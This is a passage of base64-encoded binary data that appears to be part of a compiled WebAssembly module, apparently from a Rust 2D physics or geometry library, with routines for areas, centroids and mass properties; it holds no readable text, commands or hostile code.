QhqKAIANgIAIAAgBCkDADcCACAEQSBqJAALNwEBfyMAQSBrIgIkACACQQhqIAApAgAgAEEIaikCACABEKACIAItABAhACACQSBqJAAgAEEARws4AQF/IwBBIGsiBCQAIAQgASACIAMQdSAAQQhqIARBCGooAgA2AgAgACAEKQMANwIAIARBIGokAAvAAgIEfwF+AkAgAARAIAAoAgBFDQEQpwsACxCmCwALIABBfzYCACMAQSBrIgQkACAEQRhqIgMgAb0iB0IgiD4CBCADIAc+AgACQCAAQQRqIAQoAhggBCgCHBDzBSIDBEAgBEEQaiADELEJAkACQAJAAkAgBCgCECAEKAIUKAKUAREEAEH/AXEOAwADAQMLIAQgAxDsCCAEKAIAIQUgBCgCBCEGIwBBEGsiAyQAIANBCGogBSAGKAJkEQAAIAMoAggiBSADKAIMQQxqKAIAEQYAIQcgA0EQaiQAIAVBACAHQtza76nGgPnED1EbIgMNAQwCCyAEQQhqIAMQ7AggBCgCCCAEKAIMEPQIIgNFDQEgA0EQaiEDCyADIAI4AgALIARBIGokAAwBC0GYtsAAQcwAQZy3wAAQmgsACyAAQQA2AgAL8AEDAn8BfgF9AkAgAARAIAAoAgBFDQEQpwsACxCmCwALIABBfzYCACMAQSBrIgMkACADQRhqIgQgAb0iBUIgiD4CBCAEIAU+AgACQCAAQQRqIAMoAhggAygCHBDzBSIEBEAgA0EQaiAEELEJAkAgAygCECADKAIUKAKUAREEAEH/AXFBAkcNACADQQhqIAQQ7AggAygCCCADKAIMEPQIIgRFDQAgBCACjDgCBCAEIAJDAAAAAJQiBow4AgAgBCAGvK0gArytQiCGhDcCCAsgA0EgaiQADAELQZi2wABBzABBnLfAABCaCwALIABBADYCAAu3AwIEfwF+AkAgAARAIAAoAgBFDQEQpwsACxCmCwALIABBfzYCACMAQTBrIgQkACAEQShqIgMgAb0iB0IgiD4CBCADIAc+AgACQCAAQQRqIAQoAiggBCgCLBDzBSIDBEAgBEEgaiADELEJAkACfwJAAkACQCAEKAIgIAQoAiQoApQBEQQAQf8BcUELaw4DAAECBAsgBEEIaiADEOwIIAQoAgggBCgCDBD6CCIDRQ0DIANBCGoMAgsgBEEQaiADEOwIIAQoAhAhBSAEKAIUIQYjAEEQayIDJAAgA0EIaiAFIAYoAmQRAAAgAygCCCIFIAMoAgxBDGooAgARBgAhByADQRBqJAAgBUEAIAdC1ZGu7POCm4UrURsiA0UNAiADQRhqDAELIARBGGogAxDsCCAEKAIYIQUgBCgCHCEGIwBBEGsiAyQAIANBCGogBSAGKAJkEQAAIAMoAggiBSADKAIMQQxqKAIAEQYAIQcgA0EQaiQAIAVBACAHQsCBuKve2cK9K1EbIgNFDQEgA0EYagsgAjgCAAsgBEEwaiQADAELQZi2wABBzABBnLfAABCaCwALIABBADYCAAtDAQF/QQxBBBDQCiICRQRAQQxBBEHAw8MAKAIAIgJBpAYgAhsRAAAACyACQQA2AgAgAiAAvK0gAbytQiCGhDcCBCACCzcAIABCADcCECAAIAEpAgA3AgAgAEEYakIANwIAIABBIGpBADYCACAAQQhqIAFBCGopAgA3AgALPwAgACABKAIAQf////8HcSACKAIAQYCAgIB4cXKtIAEoAgRB/////wdxIAIoAgRBgICAgHhxcq1CIIaENwIAC+QCAQJ/IwBBIGsiAiQAIAJBAToAGCACIAE2AhQgAiAANgIQIAJBqJ3DADYCDCACQeiCwwA2AggjAEEQayIBJAACQCACQQhqIgAoAgwiAgRAIAAoAggiA0UNASABIAI2AgggASAANgIEIAEgAzYCACMAQRBrIgAkACAAQQhqIAFBCGooAgA2AgAgACABKQIANwMAIwBBEGsiASQAIAAoAgAiAkEUaigCACEDAkACfwJAAkAgAkEMaigCAA4CAAEDCyADDQJBACECQeDxwgAMAQsgAw0BIAIoAggiAygCBCECIAMoAgALIQMgASACNgIEIAEgAzYCACABQbT4wgAgACgCBCIBKAIIIAAoAgggAS0AEBD+BAALIAFBADYCBCABIAI2AgwgAUGg+MIAIAAoAgQiASgCCCAAKAIIIAEtABAQ/gQAC0Gc88IAQStB8PfCABDJCAALQZzzwgBBK0Hg98IAEMkIAAszAAJAIABB/P///wdLDQAgAEUEQEEEDwsgACAAQf3///8HSUECdBDQCiIARQ0AIAAPCwALNgEBfUMAAAAAIAAqAgAgASoCAJQgAEEEaioCACABQQRqKgIAlJIiAyACGyADIANDAAAAAF0bC0MBAX8gACgCACEBAkAgAEEEai0AAA0AQdTDwwAoAgBB/////wdxRQ0AQcTHwwAoAgBFDQAgAUEBOgABCyABQQA6AAALMAEBfyMAQSBrIgMkACADQQhqIAAgASACQQEQqAEgAygCECEAIANBIGokACAAQQNHCzABAX8jAEEgayIDJAAgA0EIaiAAIAEgAkEBEOUBIAMoAhAhACADQSBqJAAgAEEDRwsuAAJAIAAEQCAAKAIARQ0BEKcLAAsQpgsACyAAQQA2AgAgAEE4aiABQQBHOgAACzABAX8jAEEgayIDJAAgA0EIaiAAIAEgAkEBEKkBIAMoAhAhACADQSBqJAAgAEEDRws0AQF/IAAgATYCDCAAQQA2AgggACABQRxqKAIAIgI2AgQgACACIAFBIGooAgBBFGxqNgIACzcAIAAgBDgCICAAIAEpAgA3AgAgACADKQIANwIYIAAgAikCADcCECAAQQhqIAFBCGopAgA3AgALMAEBfyMAQSBrIgMkACADQQhqIAAgASACQQEQ8QEgAygCECEAIANBIGokACAAQQNHCzABAX8jAEEgayIDJAAgA0EIaiAAIAEgAkEBEMsBIAMoAhAhACADQSBqJAAgAEEDRwsvAQF/IwBBIGsiAyQAIANBCGogACABIAJBABBmIAMoAhAhACADQSBqJAAgAEEDRwsvAQF/IwBBIGsiAyQAIANBCGogACABIAJBARB7IAMoAhAhACADQSBqJAAgAEEDRwswAQF/IwBBIGsiAyQAIANBCGogACABIAJBARCnASADKAIQIQAgA0EgaiQAIABBA0cLLwEBfyMAQRBrIgMkACADQQhqIAAgASACQQEQMSADKAIIIQAgA0EQaiQAIABBAUYLLwEBfyMAQRBrIgMkACADQQhqIAAgASACQQEQPCADKAIIIQAgA0EQaiQAIABBAUYLMAEBfyMAQSBrIgMkACADQQhqIAAgASACQQAQqAEgAygCECEAIANBIGokACAAQQNHCy8BAX8jAEEQayIDJAAgA0EIaiAAIAEgAkEBEDQgAygCCCEAIANBEGokACAAQQFGCz4AIAAoAgAhACABLQAYQRBxQQR2RQRAIAEtABhBIHFBBXZFBEAgACABEJkLDwsgACABEJMGDwsgACABEJIGCy4AIwBBEGsiAyQAIAMgACgCADYCDCADQQxqIAEgAiADEOIEIQAgA0EQaiQAIAALUAECfyMAQRBrIgAkACABKAIAQcCUwABBCyABKAIEKAIMEQUAIQMgAEEIaiICQQA6AAUgAiADOgAEIAIgATYCACACEOoFIQEgAEEQaiQAIAEL5AIBA38gACgCACEAIAEtABhBEHFBBHZFBEAgAS0AGEEgcUEFdkUEQCAAMQAAQQEgARCJAw8LIwBBgAFrIgMkACAALQAAIQJBACEAA0AgACADakH/AGpBMEE3IAJBD3EiBEEKSRsgBGo6AAAgAEEBayEAIAJB/wFxIgRBBHYhAiAEQQ9LDQALIABBgAFqIgJBgQFPBEAgAkGAAUHMn8MAEJYLAAsgAUEBQdyfwwBBAiAAIANqQYABakEAIABrELkBIQAgA0GAAWokACAADwsjAEGAAWsiAyQAIAAtAAAhAkEAIQADQCAAIANqQf8AakEwQdcAIAJBD3EiBEEKSRsgBGo6AAAgAEEBayEAIAJB/wFxIgRBBHYhAiAEQQ9LDQALIABBgAFqIgJBgQFPBEAgAkGAAUHMn8MAEJYLAAsgAUEBQdyfwwBBAiAAIANqQYABakEAIABrELkBIQAgA0GAAWokACAAC4UDAgN/AX4gACgCACEAIAEtABhBEHFBBHZFBEAgAS0AGEEgcUEFdkUEQCAALgEAIgCtIgVC//8Dg0IAIAVCMIZCMId9IABBAE4iABsgACABEIkDDwsjAEGAAWsiAyQAIAAvAQAhAkEAIQADQCAAIANqQf8AakEwQTcgAkEPcSIEQQpJGyAEajoAACAAQQFrIQAgAkH//wNxIgRBBHYhAiAEQQ9LDQALIABBgAFqIgJBgQFPBEAgAkGAAUHMn8MAEJYLAAsgAUEBQdyfwwBBAiAAIANqQYABakEAIABrELkBIQAgA0GAAWokACAADwsjAEGAAWsiAyQAIAAvAQAhAkEAIQADQCAAIANqQf8AakEwQdcAIAJBD3EiBEEKSRsgBGo6AAAgAEEBayEAIAJB//8DcSIEQQR2IQIgBEEPSw0ACyAAQYABaiICQYEBTwRAIAJBgAFBzJ/DABCWCwALIAFBAUHcn8MAQQIgACADakGAAWpBACAAaxC5ASEAIANBgAFqJAAgAAtQAQJ/IwBBEGsiACQAIAEoAgBBsdDAAEELIAEoAgQoAgwRBQAhAyAAQQhqIgJBADoABSACIAM6AAQgAiABNgIAIAIQ6gUhASAAQRBqJAAgAQtIAQF9IAEqAgAhAkEEQQQQ0AoiAUUEQEEEQQRBwMPDACgCACIAQaQGIAAbEQAAAAsgASACOAIAIABByKHCADYCBCAAIAE2AgALSAEBfiABKQIAIQJBCEEEENAKIgFFBEBBCEEEQcDDwwAoAgAiAEGkBiAAGxEAAAALIAEgAjcCACAAQYyxwgA2AgQgACABNgIAC0gBAX4gASkCACECQQhBBBDQCiIBRQRAQQhBBEHAw8MAKAIAIgBBpAYgABsRAAAACyABIAI3AgAgAEGkyMIANgIEIAAgATYCAAtQAQJ/IwBBEGsiACQAIAEoAgBBz/XCAEELIAEoAgQoAgwRBQAhAyAAQQhqIgJBADoABSACIAM6AAQgAiABNgIAIAIQ6gUhASAAQRBqJAAgAQsrAAJAIAAEQCAAKAIARQ0BEKcLAAsQpgsACyAAQQA2AgAgAEEkakECNgIACysAAkAgAARAIAAoAgBFDQEQpwsACxCmCwALIABBADYCACAAQSBqIAE4AgALKwACQCAABEAgACgCAEUNARCnCwALEKYLAAsgAEEANgIAIABBDGpBAjYCAAsrAAJAIAAEQCAAKAIARQ0BEKcLAAsQpgsACyAAQQA2AgAgAEEMaiABOAIACysAAkAgAARAIAAoAgBFDQEQpwsACxCmCwALIABBADYCACAAQRxqIAE4AgALKwACQCAABEAgACgCAEUNARCnCwALEKYLAAsgAEEANgIAIABBJGogATgCAAsrAAJAIAAEQCAAKAIARQ0BEKcLAAsQpgsACyAAQQA2AgAgAEEoaiABNgIACysAAkAgAARAIAAoAgBFDQEQpwsACxCmCwALIABBADYCACAAQSxqIAE2AgALKwACQCAABEAgACgCAEUNARCnCwALEKYLAAsgAEEANgIAIABBMGogATYCAAsrAAJAIAAEQCAAKAIARQ0BEKcLAAsQpgsACyAAQQA2AgAgAEE0aiABNgIACysAAkAgAARAIAAoAgBFDQEQpwsACxCmCwALIABBADYCACAAQThqIAE2AgALKwACQCAABEAgACgCAEUNARCnCwALEKYLAAsgAEEANgIAIABBCGogATgCAAstAQF9IAEqAgAiAiAClCABQQRqKgIAIgIgApSSQwAAAACSIAAqAgAiAiAClF8LM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EBBzLzAAEEwEKULAAsgACACIAMgBCAFIAEoAhARIwALIgECfiAAKQMAIgJCP4chAyACIAOFIAN9IAJCAFkgARCJAwsyAQF/QQRBBBDQCiIARQRAQQRBBEHAw8MAKAIAIgBBpAYgABsRAAAACyAAQQA2AgAgAAsjACAARQRAQcy8wABBMBClCwALIAAgAiADIAQgASgCEBEBAAsjACAARQRAQcy8wABBMBClCwALIAAgAiADIAQgASgCEBEdAAsjACAARQRAQcy8wABBMBClCwALIAAgAiADIAQgASgCEBEYAAskACAARQRAQcy8wABBMBClCwALIAAgAiADIAQgASgCEBGRAQALJAAgAEUEQEHMvMAAQTAQpQsACyAAIAIgAyAEIAEoAhARkwEACzEAIAJCgYCAgCw3AhggAkKAgICApICAgMAANwIQIAIgACkCCDcCCCACIAApAgA3AgALFQAgACgCAARAIABBBGooAgAQhwELCyEAIABFBEBBzLzAAEEwEKULAAsgACACIAMgASgCEBECAAseAQJ9IAAqAgggACoCACIBIAAqAgQiAiABIAJfG5ILJAAgAC0AAEUEQCABQcCiwwBBBRCaAQ8LIAFBvKLDAEEEEJoBCx0AIAEoAgBFBEAACyAAQaCxwAA2AgQgACABNgIACx8AIABFBEBBzLzAAEEwEKULAAsgACACIAEoAhARAwALHQAgASgCAEUEQAALIABB4IvBADYCBCAAIAE2AgALHQAgASgCAEUEQAALIABBrPnBADYCBCAAIAE2AgALHQAgACABKQJANwIAIABBCGogAUHIAGopAgA3AgALHAAgACABKQIANwIAIABBCGogAUEIaikCADcCAAscACAAIAEpAig3AgAgAEEIaiABQTBqKQIANwIACx0AIAEoAgBFBEAACyAAQaTqwgA2AgQgACABNgIACxoAIAFBGGogAikCADcCACAAIAFBoAEQrgsaC4sFAwd/CH0BfiAAIQUgAUHUAGooAgAhCCABQdgAaigCACEBQQAhACMAQSBrIgMkACADQQA2AgggA0KAgICAwAA3AwACQCABRQ0AIAFBGGwhCUEEIQYDQCAEIAhqIgFBFGooAgAhByADQRBqIAFBEGooAgAgBygCCEEHakF4cWogAiAHKAKQAREVACADKgIUIg4gASoCACIPlCADKgIQI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